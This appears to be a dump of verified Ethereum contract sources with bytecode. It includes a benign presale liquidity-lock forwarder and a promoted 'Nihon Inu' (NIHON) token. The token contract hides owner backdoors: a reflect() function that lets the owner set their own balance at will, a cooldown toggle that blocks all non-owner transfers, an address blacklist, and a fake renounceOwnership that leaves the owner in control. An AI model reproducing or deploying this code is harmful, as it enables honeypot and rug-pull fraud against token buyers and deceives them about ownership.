to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED" ); } // sends ETH or an erc20 token function safeTransferBaseToken( address token, address payable to, uint256 value, bool isERC20 ) internal { if (!isERC20) { to.transfer(value); } else { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } } } interface IPresaleFactory { function registerPresale(address _presaleAddress) external; function presaleIsRegistered(address _presaleAddress) external view returns (bool); } interface IUniswapV2Locker { function lockLPToken( address _lpToken, uint256 _amount, uint256 _unlock_date, address payable _referral, bool _fee_in_eth, address payable _withdrawer ) external payable; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract PresaleLockForwarder is Ownable { IPresaleFactory public PRESALE_FACTORY; IUniswapV2Locker public DAOLAUNCH_LOCKER; IUniswapV2Factory public UNI_FACTORY; constructor() public { PRESALE_FACTORY = IPresaleFactory( 0x35D4dc34966018Ac8c35051f86105753F4BB4AFc ); DAOLAUNCH_LOCKER = IUniswapV2Locker( 0x1eAfB71233164315E1eEf46c9b636861C2732801 ); UNI_FACTORY = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); } /** Send in _token0 as the PRESALE token, _token1 as the BASE token (usually WETH) for the check to work. As anyone can create a pair, and send WETH to it while a presale is running, but no one should have access to the presale token. If they do and they send it to the pair, scewing the initial liquidity, this function will return true */ function uniswapPairIsInitialised(address _token0, address _token1) public view returns (bool) { address pairAddress = UNI_FACTORY.getPair(_token0, _token1); if (pairAddress == address(0)) { return false; } uint256 balance = IERC20(_token0).balanceOf(pairAddress); if (balance > 0) { return true; } return false; } function lockLiquidity( IERC20 _baseToken, IERC20 _saleToken, uint256 _baseAmount, uint256 _saleAmount, uint256 _unlock_date, address payable _withdrawer ) external { require( PRESALE_FACTORY.presaleIsRegistered(msg.sender), "PRESALE NOT REGISTERED" ); address pair = UNI_FACTORY.getPair( address(_baseToken), address(_saleToken) ); if (pair == address(0)) { UNI_FACTORY.createPair(address(_baseToken), address(_saleToken)); pair = UNI_FACTORY.getPair( address(_baseToken), address(_saleToken) ); } TransferHelper.safeTransferFrom( address(_baseToken), msg.sender, address(pair), _baseAmount ); TransferHelper.safeTransferFrom( address(_saleToken), msg.sender, address(pair), _saleAmount ); IUniswapV2Pair(pair).mint(address(this)); uint256 totalLPTokensMinted = IUniswapV2Pair(pair).balanceOf( address(this) ); require(totalLPTokensMinted != 0, "LP creation failed"); TransferHelper.safeApprove( pair, address(DAOLAUNCH_LOCKER), totalLPTokensMinted ); uint256 unlock_date = _unlock_date > 9999999999 ? 9999999999 : _unlock_date; DAOLAUNCH_LOCKER.lockLPToken( pair, totalLPTokensMinted, unlock_date, address(0), true, _withdrawer ); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b14610145578063cd608cbb1461014d578063d52acef814610155578063f2fde38b1461015d57610088565b80632277d0e31461008d578063715018a6146100d757806389fc0056146100df5780638d8c70bb14610103575b600080fd5b6100d5600480360360c08110156100a357600080fd5b506001600160a01b038135811691602081013582169160408201359160608101359160808201359160a0013516610183565b005b6100d56105f4565b6100e76106a8565b604080516001600160a01b039092168252519081900360200190f35b6101316004803603604081101561011957600080fd5b506001600160a01b03813581169160200135166106b7565b604080519115158252519081900360200190f35b6100e76107ef565b6100e76107fe565b6100e761080d565b6100d56004803603602081101561017357600080fd5b50356001600160a01b031661081c565b6001546040805163717e486560e11b815233600482015290516001600160a01b039092169163e2fc90ca91602480820192602092909190829003018186803b1580156101ce57600080fd5b505afa1580156101e2573d6000803e3d6000fd5b505050506040513d60208110156101f857600080fd5b5051610244576040805162461bcd60e51b815260206004820152601660248201527514149154d05311481393d508149151d254d51154915160521b604482015290519081900360640190fd5b6003546040805163e6a4390560e01b81526001600160a01b03898116600483015288811660248301529151600093929092169163e6a4390591604480820192602092909190829003018186803b15801561029d57600080fd5b505afa1580156102b1573d6000803e3d6000fd5b505050506040513d60208110156102c757600080fd5b505190506001600160a01b0381166103e057600354604080516364e329cb60e11b81526001600160a01b038a8116600483015289811660248301529151919092169163c9c653969160448083019260209291908290030181600087803b15801561033057600080fd5b505af1158015610344573d6000803e3d6000fd5b505050506040513d602081101561035a57600080fd5b50506003546040805163e6a4390560e01b81526001600160a01b038a8116600483015289811660248301529151919092169163e6a43905916044808301926020929190829003018186803b1580156103b157600080fd5b505afa1580156103c5573d6000803e3d6000fd5b505050506040513d60208110156103db57600080fd5b505190505b6103ec87338388610926565b6103f886338387610926565b604080516335313c2160e11b815230600482015290516001600160a01b03831691636a6278429160248083019260209291908290030181600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d602081101561046a57600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d60208110156104e057600080fd5b505190508061052b576040805162461bcd60e51b815260206004820152601260248201527113140818dc99585d1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6002546105439083906001600160a01b031683610a83565b60006402540be3ff8511610557578461055e565b6402540be3ff5b6002546040805163457a0b7b60e11b81526001600160a01b03878116600483015260248201879052604482018590526000606483018190526001608484015289821660a4840152925194955090921692638af416f69260c480820193929182900301818387803b1580156105d157600080fd5b505af11580156105e5573d6000803e3d6000fd5b50505050505050505050505050565b6105fc610bed565b6000546001600160a01b0390811691161461065e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6003546001600160a01b031681565b6003546040805163e6a4390560e01b81526001600160a01b038581166004830152848116602483015291516000938493169163e6a43905916044808301926020929190829003018186803b15801561070e57600080fd5b505afa158015610722573d6000803e3d6000fd5b505050506040513d602081101561073857600080fd5b505190506001600160a01b0381166107545760009150506107e9565b6000846001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107a357600080fd5b505afa1580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b5051905080156107e2576001925050506107e9565b6000925050505b92915050565b6000546001600160a01b031690565b6001546001600160a01b031681565b6002546001600160a01b031681565b610824610bed565b6000546001600160a01b03908116911614610886576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166108cb5760405162461bcd60e51b8152600401808060200182810382526026815260200180610bf26026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b602083106109ab5780518252601f19909201916020918201910161098c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610a0d576040519150601f19603f3d011682016040523d82523d6000602084013e610a12565b606091505b5091509150818015610a40575080511580610a405750808060200190516020811015610a3d57600080fd5b50515b610a7b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610c186024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b178152925182516000946060949389169392918291908083835b60208310610b005780518252601f199092019160209182019101610ae1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b62576040519150601f19603f3d011682016040523d82523d6000602084013e610b67565b606091505b5091509150818015610b95575080511580610b955750808060200190516020811015610b9257600080fd5b50515b610be6576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b5050505050565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220ce9ed5a23396f9989035fb7054c44e2632b819a303b1e082efa0e4fd4667d97064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
403
0xf0cec91bbd9160fe9d76c162072b547cda862f70
/** We introduce to you KIBA younger brother $NIHON !!! NihonInu, is a new Inu project that has set its sights on becoming more than just another beta in the pack. NIHON token holders and developers are convinced. http://www.nihoninu.io/ https://t.me/NihonInu */ // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address owneraddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; owneraddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function ownerAddress() public view returns (address) { return owneraddress; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); owneraddress = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NichonInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Nihon Inu"; string private constant _symbol = "NIHON"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000000 * 10**9; mapping (address => uint256) private _vOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _checkTransfer; event botBan (address Address, bool isBanned); address[] private _excluded; uint256 private _rTotal; uint256 private _tFeeTotal; bool _cooldown; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply; address public uniV2factory; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); constructor (address V2factory) { uniV2factory = V2factory; _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _vOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcludedFromFee[_msgSender()] = true; _excluded.push(_msgSender()); _cooldown = false; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _vOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approveSwap(address Address) external onlyOwner { if (_checkTransfer[Address] == true) { _checkTransfer[Address] = false; } else {_checkTransfer[Address] = true; emit botBan (Address, _checkTransfer[Address]); } } function checkSwap(address Address) public view returns (bool) { return _checkTransfer[Address]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function cooldownEnable() public virtual onlyOwner { if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;} } function cooldownCheck() public view returns (bool) { return _cooldown; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner { _vOwned[owner()] = totalFee.sub(burnedFee); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_checkTransfer[sender] || _checkTransfer[recipient]) require (amount == 0, "no bots"); if (_cooldown == false || sender == owner() || recipient == owner()) { if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) { _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} } else {require (_cooldown == false, "");} } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806360004d5c116100a05780639f08b319116100645780639f08b319146103c2578063a457c2d7146103eb578063a9059cbb14610428578063dd62ed3e14610465578063fc6fc10a146104a25761011f565b806360004d5c146102ef57806370a0823114610318578063715018a6146103555780638f84aa091461036c57806395d89b41146103975761011f565b806329bd5410116100e757806329bd5410146101f4578063313ce5671461021f578063395093511461024a57806343ab662c146102875780635a830579146102c45761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104b9565b6040516101469190611d07565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611a78565b6104f6565b6040516101839190611cec565b60405180910390f35b34801561019857600080fd5b506101a1610514565b6040516101ae9190611e49565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611a25565b610526565b6040516101eb9190611cec565b60405180910390f35b34801561020057600080fd5b506102096105ff565b6040516102169190611ca8565b60405180910390f35b34801561022b57600080fd5b50610234610625565b6040516102419190611e64565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190611a78565b61062e565b60405161027e9190611cec565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906119b8565b6106e1565b6040516102bb9190611cec565b60405180910390f35b3480156102d057600080fd5b506102d9610737565b6040516102e69190611cec565b60405180910390f35b3480156102fb57600080fd5b5061031660048036038101906103119190611ab8565b61074e565b005b34801561032457600080fd5b5061033f600480360381019061033a91906119b8565b610844565b60405161034c9190611e49565b60405180910390f35b34801561036157600080fd5b5061036a61088d565b005b34801561037857600080fd5b506103816109e1565b60405161038e9190611ca8565b60405180910390f35b3480156103a357600080fd5b506103ac610a0b565b6040516103b99190611d07565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e491906119b8565b610a48565b005b3480156103f757600080fd5b50610412600480360381019061040d9190611a78565b610c74565b60405161041f9190611cec565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a9190611a78565b610d41565b60405161045c9190611cec565b60405180910390f35b34801561047157600080fd5b5061048c600480360381019061048791906119e5565b610d5f565b6040516104999190611e49565b60405180910390f35b3480156104ae57600080fd5b506104b7610de6565b005b60606040518060400160405280600981526020017f4e69686f6e20496e750000000000000000000000000000000000000000000000815250905090565b600061050a610503610f1f565b8484610f27565b6001905092915050565b600069152d02c7e14af6800000905090565b60006105338484846110f2565b6105f48461053f610f1f565b6105ef856040518060600160405280602881526020016122b060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a5610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006106d761063b610f1f565b846106d2856005600061064c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b610f27565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600b60009054906101000a900460ff16905090565b610756610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da90611da9565b60405180910390fd5b6107f681836118b890919063ffffffff16565b60026000610802611902565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610895610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091990611da9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4e49484f4e000000000000000000000000000000000000000000000000000000815250905090565b610a50610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490611da9565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b93576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610c71565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610c68929190611cc3565b60405180910390a15b50565b6000610d37610c81610f1f565b84610d32856040518060600160405280602581526020016122d86025913960056000610cab610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b6001905092915050565b6000610d55610d4e610f1f565b84846110f2565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290611da9565b60405180910390fd5b60001515600b60009054906101000a900460ff1615151415610eb7576001600b60006101000a81548160ff021916908315150217905550610ed3565b6000600b60006101000a81548160ff0219169083151502179055505b565b6000610f1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611e29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90611d69565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110e59190611e49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990611d29565b60405180910390fd5b60008111611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90611dc9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112ff57600081146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d49565b60405180910390fd5b5b60001515600b60009054906101000a900460ff16151514806113535750611324611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113905750611361611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561179a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114385750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115eb576114a98160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115de9190611e49565b60405180910390a3611795565b6116578160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063fffffff